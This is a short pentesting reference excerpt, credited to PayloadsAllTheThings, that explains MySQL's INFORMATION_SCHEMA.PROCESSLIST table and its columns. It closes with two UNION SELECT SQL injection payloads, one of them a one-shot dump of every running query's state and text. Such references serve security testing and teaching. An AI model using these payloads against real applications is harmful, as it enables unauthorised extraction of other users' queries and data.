`INFORMATION_SCHEMA.PROCESSLIST` is a special table available in MySQL and MariaDB that provides information about active processes and threads within the database server. This table can list all operations that DB is performing at the moment. The `PROCESSLIST` table contains several important columns, each providing details about the current processes. Common columns include: * **ID** : The process identifier. * **USER** : The MySQL user who is running the process. * **HOST** : The host from which the process was initiated. * **DB** : The database the process is currently accessing, if any. * **COMMAND** : The type of command the process is executing (e.g., Query, Sleep). * **TIME** : The time in seconds that the process has been running. * **STATE** : The current state of the process. * **INFO** : The text of the statement being executed, or NULL if no statement is being executed.
SELECT * FROM INFORMATION_SCHEMA.PROCESSLIST;| ID | USER | HOST | DB | COMMAND | TIME | STATE | INFO | | --- | --------- | ---------------- | ------ | ------- | ---- | ---------- | ------------------------ | | 1 | root | localhost | testdb | Query | 10 | executing | SELECT * FROM some_table | | 2 | app_uset | 192.168.0.101 | appdb | Sleep | 300 | sleeping | NULL | | 3 | gues_user | example.com:3360 | NULL | Connect | 0 | connecting | NULL |
UNION SELECT 1,state,info,4 FROM INFORMATION_SCHEMA.PROCESSLIST #Dump in one shot query to extract the whole content of the table.
UNION SELECT 1,(SELECT(@)FROM(SELECT(@:=0X00),(SELECT(@)FROM(information_schema.processlist)WHERE(@)IN(@:=CONCAT(@,0x3C62723E,state,0x3a,info))))a),3,4 #Source: SQL Injection/MySQL Injection.md in PayloadsAllTheThings. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky.